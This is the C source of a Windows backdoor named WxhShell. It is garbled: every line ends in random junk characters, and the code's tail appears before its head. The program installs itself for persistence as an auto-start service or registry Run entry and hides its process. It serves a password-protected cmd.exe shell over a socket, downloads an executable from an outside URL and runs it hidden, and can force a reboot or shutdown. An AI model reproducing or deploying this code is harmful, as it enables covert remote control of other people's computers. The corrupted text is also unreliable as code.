    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sD=iHO Am  
    else { L)"E_  
    closesocket(wsh); FE'F@aS\  
    ExitThread(0); 1|XC$0  
    } |SX31T9rG  
    break; RLNto5?  
    } S; Fj9\2)I  
  // 获取shell B`w@Xk'D  
  case 's': { pq +~|  
    CmdShell(wsh); >(He,o@M  
    closesocket(wsh); i87+9X  
    ExitThread(0); W&=F<n`  
    break; Qv B%X)J  
  } Lq#$q>!K  
  // 退出 )(V!& w6  
  case 'x': { s;W1YN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L %20tm  
    CloseIt(wsh); UPcx xtC  
    break; {?uG] G7  
    } x5(B(V@b  
  // 离开 w%?6s3   
  case 'q': { g9G 8;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |R3A$r#-  
    closesocket(wsh); M _e^KF  
    WSACleanup(); !n3J6%b9y/  
    exit(1); FA$1&Fu3Y  
    break; 2)T.Ci cx  
        } W.m2`] &  
  } (W'3Zv'f  
  } rUDMQxLruV  
zlhI\jRdc  
  // 提示信息 p<8Ga.kiN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3?r?)$Jk  
} 4l?"zv1  
  } ~8tb^  
3:MAdh[w  
  return; - p*j9 z  
} mw fl x8  
i1 ^#TC$x  
// shell模块句柄 QLDld[  
int CmdShell(SOCKET sock) V9/PkuT  
{ v%8S:3  
STARTUPINFO si; L4!T  
ZeroMemory(&si,sizeof(si)); d)'J:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &XZS}n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EF8'ycJk+  
PROCESS_INFORMATION ProcessInfo; f0ME$:2  
char cmdline[]="cmd"; VQ/Jz5^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `kM:5f+>W  
  return 0; dPb@[k  
} o l8|  
;S}_/'  
// 自身启动模式 f[+N=vr  
int StartFromService(void) Q}|QgN  
{ (4"Azo*~![  
typedef struct L9^h .Y7  
{ M&ec%<lM  
  DWORD ExitStatus; ]#P>wW  
  DWORD PebBaseAddress; Q|Go7MQZ@k  
  DWORD AffinityMask; <~iA{sY)O  
  DWORD BasePriority; 'w`3( ':=  
  ULONG UniqueProcessId; 50HRgoP5Y  
  ULONG InheritedFromUniqueProcessId; $zD}hO9  
}   PROCESS_BASIC_INFORMATION; &- 2i+KjEX  
lQl  
PROCNTQSIP NtQueryInformationProcess; &\ \)x.!  
*Ry{}|_8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8j jq)d4#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 97\9!)`,  
wJ>2}  
  HANDLE             hProcess; &!KW[]i%9}  
  PROCESS_BASIC_INFORMATION pbi; 69JC!du  
*c' hmA s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3fhlMOm  
  if(NULL == hInst ) return 0; =plU3D2  
%bZ}vJ5b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m)"wd$O^w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Pj7n_&*/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RJ~I?{yR0[  
gvy c(d  
  if (!NtQueryInformationProcess) return 0; 6+ C7vG`  
~spfQV~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'J(B{B7|  
  if(!hProcess) return 0; <p\iB'y  
09w<@#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (@ixV$Y  
N3?@CM^hHw  
  CloseHandle(hProcess); +/Qgl  
?0hEd9TU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9MR,3/&N  
if(hProcess==NULL) return 0; Mhiz{Td  
k \V6 q9*  
HMODULE hMod; V^E.9fs,  
char procName[255]; wC>Xu.Z:  
unsigned long cbNeeded; |z]--h  
$i.)1.x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jyFXAs2  
 KSB{Z TE  
  CloseHandle(hProcess); qJq2Z.>hy  
.vk|aIG  
if(strstr(procName,"services")) return 1; // 以服务启动 az;o7[rI^  
tp?< e  
  return 0; // 注册表启动 `AcT}. u  
} W=ar&O~}n  
uBqZ62{G  
// 主模块 AD4Ot5  
int StartWxhshell(LPSTR lpCmdLine) #P5tTCM  
{ ~|.vz!A  
  SOCKET wsl; %:vMD  
BOOL val=TRUE; QX >Pni  
  int port=0; mQ qv{1  
  struct sockaddr_in door; u!DAeE  
6y}|IhX?z  
  if(wscfg.ws_autoins) Install(); 7<7 /NZ<I  
2SlOqH1  
port=atoi(lpCmdLine); ,/6 aA7(  
UCL aCt -  
if(port<=0) port=wscfg.ws_port; 59Lmv &s  
cgF?[Z+x  
  WSADATA data; 3|9 U`@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  b@m\ca  
KL4vr|i,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t8\XO j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U6 $)e.FO  
  door.sin_family = AF_INET; q;L~5q."E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^L +@oS  
  door.sin_port = htons(port); y;1l].L  
jce^Xf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { flzHZH  
closesocket(wsl); K3On8  
return 1; |A%Jx__  
} Y1Sfhs )  
T~JE.Y3B3  
  if(listen(wsl,2) == INVALID_SOCKET) { 1@vlbgLr@  
closesocket(wsl); '980.  
return 1; W*/0[|n*  
} J8:f9a:|M  
  Wxhshell(wsl); xIb^x=|h  
  WSACleanup(); E[E7GsmqV  
W&Pp5KR  
return 0; DU=rsePWE  
<Zn -P  
} QGpAG#M9?  
"l.1 UB&  
// 以NT服务方式启动 41Htsj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >4@/x{{  
{ l-G] jXu  
DWORD   status = 0; #I] ^Wo  
  DWORD   specificError = 0xfffffff; MPI=^rc2  
i |IG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;Uv/#"r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; afNqK~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L] ce13K  
  serviceStatus.dwWin32ExitCode     = 0; w\QMA3  
  serviceStatus.dwServiceSpecificExitCode = 0; y1@*)| r  
  serviceStatus.dwCheckPoint       = 0; Vp~c$y+  
  serviceStatus.dwWaitHint       = 0; ]F81N(@:F  
$bd2TVNV:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E3==gYCe*  
  if (hServiceStatusHandle==0) return; ~qj09  
mpysnKH  
status = GetLastError(); oo{3-+ ?  
  if (status!=NO_ERROR) xQK;3b  
{ 9/_F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2qkZ B0[  
    serviceStatus.dwCheckPoint       = 0; o2 vBY]Tj  
    serviceStatus.dwWaitHint       = 0; Fy8$'oc  
    serviceStatus.dwWin32ExitCode     = status; #FQkwX'g  
    serviceStatus.dwServiceSpecificExitCode = specificError; _0: }"!Gq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sp>v`{F  
    return; / Hg/)  
  } S B# Y^!  
;LjTsF'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @#CZ7~Hn  
  serviceStatus.dwCheckPoint       = 0; 8BgHoQ*  
  serviceStatus.dwWaitHint       = 0; oR_qAb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1{pU:/_W  
} sN%#e+(=  
qPI1\!z6  
// 处理NT服务事件,比如:启动、停止 h.ln%6:d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yl'@p 5n  
{ (yB)rBh>n  
switch(fdwControl) 4>I >y@^  
{ _I1:|y  
case SERVICE_CONTROL_STOP: okv`+VeA  
  serviceStatus.dwWin32ExitCode = 0; <yq kJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]`,jaD  
  serviceStatus.dwCheckPoint   = 0; ~R!M.gY[rK  
  serviceStatus.dwWaitHint     = 0; y +2  
  { |{en) {:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FC BsC#  
  } 4`M7 3k0  
  return; 8\H*Z2yF+  
case SERVICE_CONTROL_PAUSE: U:1cbD7|3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Gi=s|vt  
  break; t6JM%  
case SERVICE_CONTROL_CONTINUE: $ /p/9 -  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; CfMCc:8mL  
  break; rQ*Fc~^L  
case SERVICE_CONTROL_INTERROGATE: 2/ES.>K!.  
  break;  <RaM@E  
}; :psP|7%|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?n0Z4 8%  
} l1?$quM^V  
-)Zp"  
// 标准应用程序主函数 Uzzt+Iwm  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <QcQ.b  
{ a(Fx1`}  
N9}27T+4  
// 获取操作系统版本 rUL_=>3  
OsIsNt=GetOsVer(); AIU=56+I\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RcG 1J7#i  
xxS>O%  
  // 从命令行安装 Pn|;VCh  
  if(strpbrk(lpCmdLine,"iI")) Install(); :{Mr~Co*  
,^K}_z\9f  
  // 下载执行文件 )A1u uW (  
if(wscfg.ws_downexe) { ??u*qO:p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dvX[,*wz  
  WinExec(wscfg.ws_filenam,SW_HIDE); Nm.G,6<J  
} yPXa  
c`E0sgp  
if(!OsIsNt) { YQ7\99tj  
// 如果时win9x,隐藏进程并且设置为注册表启动 P]mJ01@'  
HideProc(); TEN~3 Ef#  
StartWxhshell(lpCmdLine); }gR!]Cs)^  
} 618k-  
else FO S5?%J  
  if(StartFromService()) =lOdg3#\a  
  // 以服务方式启动 qe3d,!  
  StartServiceCtrlDispatcher(DispatchTable); bK69Rb@\A  
else 4A {6)<e  
  // 普通方式启动 q4y sTm  
  StartWxhshell(lpCmdLine); )kpNg:2p  
T?+%3z}8  
return 0; W_bp~Wu  
} GnFm*L  
pg9 feIW1  
~cL)0/j}  
49iqrP'  
=========================================== E3"j7y[S  
][TA7pDPV  
?;xL]~Q~1  
epm ~  
WZ6'"Cz`  
uy'qIq  
" Q*54!^l+_r  
#i'wDvhol  
#include <stdio.h> dzRnI*  
#include <string.h> 7zcmv"`  
#include <windows.h> ;#XF.l,u  
#include <winsock2.h> <To$Hb,NP  
#include <winsvc.h> F6Ne?[b  
#include <urlmon.h> mTU[khEmL=  
e,D RQ2AU  
#pragma comment (lib, "Ws2_32.lib") F"| ;  
#pragma comment (lib, "urlmon.lib") s^R$u"pFs  
3\2^LILLO  
#define MAX_USER   100 // 最大客户端连接数 f!K{f[aDa  
#define BUF_SOCK   200 // sock buffer 9cXL4  
#define KEY_BUFF   255 // 输入 buffer UpSa7F:Uw  
qp{3I("_  
#define REBOOT     0   // 重启 V M{Sng  
#define SHUTDOWN   1   // 关机 *ORa@ x  
L}UrI&]V$:  
#define DEF_PORT   5000 // 监听端口 -2qI2Z  
B".3NQ  
#define REG_LEN     16   // 注册表键长度 9 K~X+N\  
#define SVC_LEN     80   // NT服务名长度 &ev#C%Nu  
cof+iI~9O%  
// 从dll定义API ^OrO&w|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l[Ko>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u$rSM0CJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %{B4M#~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >uP1k.z'I  
ufB9\yl{~  
// wxhshell配置信息 2UeK%-~W?  
struct WSCFG { W_bA.z T{  
  int ws_port;         // 监听端口 XES$V15  
  char ws_passstr[REG_LEN]; // 口令 qNX+!Y}y  
  int ws_autoins;       // 安装标记, 1=yes 0=no qoAJcr2uN  
  char ws_regname[REG_LEN]; // 注册表键名 RHu4cK!5  
  char ws_svcname[REG_LEN]; // 服务名 RH^; M-'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 WiqkC#N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -?L3"rxAP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5 D[`nU}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q-r5zGI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =6d'/D#J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Zfc{}ius  
T?KM}<$(O  
}; },%, v2}  
S76x EL  
// default Wxhshell configuration $VJE&b  
struct WSCFG wscfg={DEF_PORT, "\O{!Hj8  
    "xuhuanlingzhe", J?/NJ-F  
    1, 6 g)X&pZ  
    "Wxhshell", j)mi~i*U  
    "Wxhshell", ?OBB)hj  
            "WxhShell Service", rI'kZ0&  
    "Wrsky Windows CmdShell Service", ,veo/k<"r8  
    "Please Input Your Password: ", 1[]V @P^  
  1, $AF,4Ir-b+  
  "http://www.wrsky.com/wxhshell.exe", iUq{c+h  
  "Wxhshell.exe" { 4B7a6  
    }; ')Qb,#/,%  
B*^8kc:)L  
// 消息定义模块 e/Y& d9` I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F$HL \y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (G 9Ku 8Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yPk s,7U  
char *msg_ws_ext="\n\rExit."; 1>)uI@?Rb  
char *msg_ws_end="\n\rQuit."; ]htx9ds=  
char *msg_ws_boot="\n\rReboot..."; $%z M Z  
char *msg_ws_poff="\n\rShutdown..."; BWLeitS/  
char *msg_ws_down="\n\rSave to "; 7!A3PDAe  
6)1xjE#  
char *msg_ws_err="\n\rErr!"; .#_g.0<  
char *msg_ws_ok="\n\rOK!"; uz@lz +  
oR}'I  
char ExeFile[MAX_PATH]; vFK!LeF%  
int nUser = 0; ]//D d/L6  
HANDLE handles[MAX_USER]; oRHWb_$"  
int OsIsNt; [(iJj3s!  
jTN!\RH9NF  
SERVICE_STATUS       serviceStatus; jF 6[+bW<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 66'AaA;0^i  
IRbZ ;*3dO  
// 函数声明 7,ffY/  
int Install(void); x?2y^3<5  
int Uninstall(void); (P 9$Ei0fv  
int DownloadFile(char *sURL, SOCKET wsh); TB#oauJm,  
int Boot(int flag); p;rT#R&6>  
void HideProc(void); $Hal]  
int GetOsVer(void); 24I~{Qy  
int Wxhshell(SOCKET wsl); yG:Pg MrB  
void TalkWithClient(void *cs); "FXT8Qxg  
int CmdShell(SOCKET sock); r(Y@;  
int StartFromService(void); k7=mxXF  
int StartWxhshell(LPSTR lpCmdLine); lt|UehJ F  
ePY69!pO5e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ol@LLT_m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); TN.&FDqC9  
q&V=A[<rz  
// 数据结构和表定义 2@f?yh0  
SERVICE_TABLE_ENTRY DispatchTable[] = $jN,] N~  
{ F17nWvF  
{wscfg.ws_svcname, NTServiceMain}, =Cp}iM  
{NULL, NULL} F2Co Xe7  
}; gro@+^DmT  
$-lP"m@}  
// 自我安装 /@9-D 4  
int Install(void) +"D*0gYD  
{ sRSy++FRF  
  char svExeFile[MAX_PATH]; *_tJ;  
  HKEY key; k1_ 3\JO"6  
  strcpy(svExeFile,ExeFile); v DVE#Nm_  
Ks.kn7<l  
// 如果是win9x系统,修改注册表设为自启动 QiQO>r  
if(!OsIsNt) { 'fIirGOl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -\~D6OA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oWdvpvO  
  RegCloseKey(key); r^!P=BS{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZH=oQV)6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 28d=-s=[  
  RegCloseKey(key); y%xn(Bn  
  return 0; dS"%( ?o  
    } ntEf-x<  
  } UU 2 =W  
} }~$96|J  
else { N TL`9b  
(ZHEPN  
// 如果是NT以上系统,安装为系统服务 ?o.Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .RxAYf|  
if (schSCManager!=0) Zn"1qLPF  
{ \!,qXfTMB  
  SC_HANDLE schService = CreateService |k=L&vs  
  ( (f?&zQ!+  
  schSCManager, L\y>WR%s  
  wscfg.ws_svcname, 2?nhkast#=  
  wscfg.ws_svcdisp, ;c;PNihg  
  SERVICE_ALL_ACCESS, yXL]uh#b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PH3#\ v.   
  SERVICE_AUTO_START, 9|RR;k[  
  SERVICE_ERROR_NORMAL, $.-\2;U  
  svExeFile, o;2QZ"v  
  NULL, M}BqSzd*  
  NULL, \hFIg3  
  NULL, Oj^qh+r  
  NULL, J,]U"+;H  
  NULL y}!}*Qj+/  
  ); BjIKs~CT  
  if (schService!=0) |HMpVT-;j  
  { Z4@GcdZ  
  CloseServiceHandle(schService); *WpDavovyB  
  CloseServiceHandle(schSCManager); i& ybvTl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =)9@rV&~  
  strcat(svExeFile,wscfg.ws_svcname); 1b-_![&]1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h?ZxS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x"QZ}28(t  
  RegCloseKey(key); [p# }=&d  
  return 0; yZ]u{LJS  
    } JJ$q*  
  } 9Lv"|S`5W_  
  CloseServiceHandle(schSCManager); CN, oH4IU  
} ]:vo"{*C  
} 'vUx4s  
enJgk(  
return 1; 6!^&]4  
} smN |r  
v\:P _J  
// 自我卸载 ~kW[d1'c  
int Uninstall(void) +>wBGVvS  
{ e4/Y/:vFO  
  HKEY key; O$,MdhyXC  
>|@i8?|E  
if(!OsIsNt) { ~i y]X:U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q2C._{ 0'  
  RegDeleteValue(key,wscfg.ws_regname); `c~J&@|  
  RegCloseKey(key); w `0m[*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o0'!u  
  RegDeleteValue(key,wscfg.ws_regname); Au-h#YV  
  RegCloseKey(key); WVfwt.Y  
  return 0; H~Fb=.h]U  
  } kKP<K+hH  
} 5x:dhkW  
} @fSBW+  
else { =1'vXPv`  
fNnemn@>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @XL5$k[Y  
if (schSCManager!=0) ij<6gv~ n"  
{ c;dMXv   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e=m=IVY #W  
  if (schService!=0) 1$#{om9  
  { l mRd l>  
  if(DeleteService(schService)!=0) { wjeuZNYf  
  CloseServiceHandle(schService); aX$Q}mgb  
  CloseServiceHandle(schSCManager); 3EN(Pz L  
  return 0; chF@',9t  
  } gLL8-T[9  
  CloseServiceHandle(schService); -x?I6>{  
  } $+$S}i=  
  CloseServiceHandle(schSCManager); ,=@%XMS  
} ?|;q=p`t-  
} vRQ7=N{3  
',Q|g^rF]  
return 1; U'(@?]2 <G  
} "$Mz>]3&q  
jJK`+J,i}X  
// 从指定url下载文件 }; ;Thfd  
int DownloadFile(char *sURL, SOCKET wsh) g VPtd[r  
{ :ENdF `nC  
  HRESULT hr; GZwz4=`  
char seps[]= "/"; (6Tvu5*4U  
char *token; 6S GV}dAx  
char *file; 5v`[c+@F  
char myURL[MAX_PATH]; ' M'k$G@Z  
char myFILE[MAX_PATH]; -FGQn |h4  
n+XLZf#  
strcpy(myURL,sURL); _vV3A3|Ec,  
  token=strtok(myURL,seps); Qmg2lP.)  
  while(token!=NULL) ^f%hhpV@  
  { Sb& $xWL  
    file=token; y9xvGr[l  
  token=strtok(NULL,seps); >3Mzs AH\  
  } y`|86` Y  
,&5\`  
GetCurrentDirectory(MAX_PATH,myFILE); R#^.8g)t  
strcat(myFILE, "\\"); [PW\l+i  
strcat(myFILE, file); %A^V@0K3  
  send(wsh,myFILE,strlen(myFILE),0); ac%6eW0#  
send(wsh,"...",3,0); 7B)m/%>3s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1z5Oi u  
  if(hr==S_OK) 8h%oJ4da   
return 0; ~stJO])a  
else 6B=: P3Y  
return 1; IGQcQ/M  
j*' +f~ A  
} p"UdD  
H6t'V%Ys  
// 系统电源模块 _*m<Z;Et  
int Boot(int flag) l3O!{&~K  
{ {)?:d6"  
  HANDLE hToken; 9k.5'#  
  TOKEN_PRIVILEGES tkp; };Oyv7D+b  
z *FCd6X  
  if(OsIsNt) { aJ/}ID  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =} D9sT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R ~ZcTY[8  
    tkp.PrivilegeCount = 1; !jTtMx  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [  ^S(SPL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :2zga=)g  
if(flag==REBOOT) { N|@jHx y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o^ zrF  
  return 0; y9)w(y !  
} 6D&{+;  
else { /f}!G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) je`Ysben  
  return 0; K!,T.qA&=  
} rLpfybu  
  } N xW Dw  
  else { }B e;YIhG  
if(flag==REBOOT) { h0O t>e"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ZO#f)>s2  
  return 0; L}a-c(G+8  
} &pzf*|}  
else { }NJKkj?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'w z6Zt  
  return 0; YT`,f*t  
} {Z,_/@}N  
} .C*mDi)wZ  
S6CI+W  
return 1; -^aJ}[uaI  
} [o"<DP6w  
?:$\ t?e^  
// win9x进程隐藏模块 , UsY0YC  
void HideProc(void) Fd86P.Df  
{ ]?6Pt:N2  
&.l^>#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'L@kZ  
  if ( hKernel != NULL ) DYDeb i6  
  { F1)5"7f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,r8#-~A6,A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vR3\E"Zi  
    FreeLibrary(hKernel); YO'aX  
  } bEKhU\@=J  
%b[>eIJU#  
return; 2{Y~jYt{h  
} z?^oy.  
re~T,PPM  
// 获取操作系统版本 m{;j r<  
int GetOsVer(void) p9>1a j2a  
{ k5%W8dI  
  OSVERSIONINFO winfo; -|GKtZ]}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w *M&@+3I  
  GetVersionEx(&winfo); %E\zR/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X- ZZLl#  
  return 1; V,h}l"  
  else (^NYC$ZxM=  
  return 0; O joa3  
} ]t0St~qUL)  
J%u,qF}h  
// 客户端句柄模块 VIHuo,  
int Wxhshell(SOCKET wsl) F[v:&fle  
{ j'k <  
  SOCKET wsh; jsFfrS"*  
  struct sockaddr_in client; jF}-dfe  
  DWORD myID; !-t,r%CG  
Vw|P;LLl`  
  while(nUser<MAX_USER) M#_|WL~  
{ [ {$%9lm  
  int nSize=sizeof(client); \%|Xf[AX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PjD9D.  
  if(wsh==INVALID_SOCKET) return 1; ;1HzY\d%<  
q6,z 1A"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |h?2~D!+d  
if(handles[nUser]==0) +CM>]Ze  
  closesocket(wsh); 4*ZY#7h  
else \xlG3nz  
  nUser++; M!46^q~-  
  } :sQ>oNnz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N;`/>R4|I  
g/FZ?Wo  
  return 0; kH5D%`Kw  
} ?<`oKBn  
:h(` eC  
// 关闭 socket )q66^% ;S  
void CloseIt(SOCKET wsh) Cz)&R^  
{ s+?2oPa  
closesocket(wsh); gBky ZK  
nUser--; n y cn  
ExitThread(0); <iA\ZS:  
} %q}[ZD/HD  
/w1M%10   
// 客户端请求句柄 E.Q]X]q  
void TalkWithClient(void *cs) 1uO2I&B  
{ #R>x]Nt}  
R_O=WmD  
  SOCKET wsh=(SOCKET)cs; sH.=Faos  
  char pwd[SVC_LEN]; _jc_(;KPF  
  char cmd[KEY_BUFF]; O%3Hp.|!  
char chr[1]; <PVwf`W.  
int i,j; W6Mq:?+D  
'4nJ*Xa  
  while (nUser < MAX_USER) { D#AqZS>B  
ME$J42  
if(wscfg.ws_passstr) { i y8Jl  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0,nz*UDk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W#%s0EN<_  
  //ZeroMemory(pwd,KEY_BUFF); f1]zsn:  
      i=0; @0 'U p  
  while(i<SVC_LEN) { 'Oj 1@0*0  
D<m0G]Ht*  
  // 设置超时 X@"G1j >/  
  fd_set FdRead; mU]VFPr5  
  struct timeval TimeOut; *i}X(sfe  
  FD_ZERO(&FdRead); .L+XV y  
  FD_SET(wsh,&FdRead); wk ^7/B  
  TimeOut.tv_sec=8; {fnx=BaG  
  TimeOut.tv_usec=0; FpiTQC7d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b8e\(Dww  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hJ$9Hb  
M+0PEf.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \n t~K}a  
  pwd=chr[0]; )q[P&f(h  
  if(chr[0]==0xd || chr[0]==0xa) { Z,/K$;YWo  
  pwd=0; <n4` #d  
  break; e{7\pQK  
  } Bb:C^CHIQm  
  i++; qa-FLUkIk!  
    } s/=%kCo  
4 s ax  
  // 如果是非法用户,关闭 socket 'w27Lt'V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ni&|;"Nt-  
} uN:KivVe  
HeO:=OE~>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y ?&hA! x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kzjuW  
a3>/B$pE  
while(1) { :{#O   
odSPl{.>d  
  ZeroMemory(cmd,KEY_BUFF); G0{Z@CvO'  
T#H^ }`  
      // 自动支持客户端 telnet标准   4SZ,X^]I>  
  j=0; 1vxRhS&FY  
  while(j<KEY_BUFF) { (Kwqa"Hk4{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P&uSh?[ ^  
  cmd[j]=chr[0]; &yvvea]  
  if(chr[0]==0xa || chr[0]==0xd) { F)(^c  
  cmd[j]=0; gLB(A\yG  
  break; |ZL?Pqki  
  } u MEM7$o  
  j++; vY-CXWC7  
    } \ dFE.4  
g5|~ i{"0  
  // 下载文件 oGRk/@  
  if(strstr(cmd,"http://")) { =nGFLH6)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HbegdbTJ  
  if(DownloadFile(cmd,wsh)) !1G KpL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); BYB4- ,  
  else $G-<kC}8:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KGYbPty}  
  } $Lr& V~  
  else { Zp> v  
Y {^*y  
    switch(cmd[0]) { tL$,]I$1+  
  0+e=s0s.  
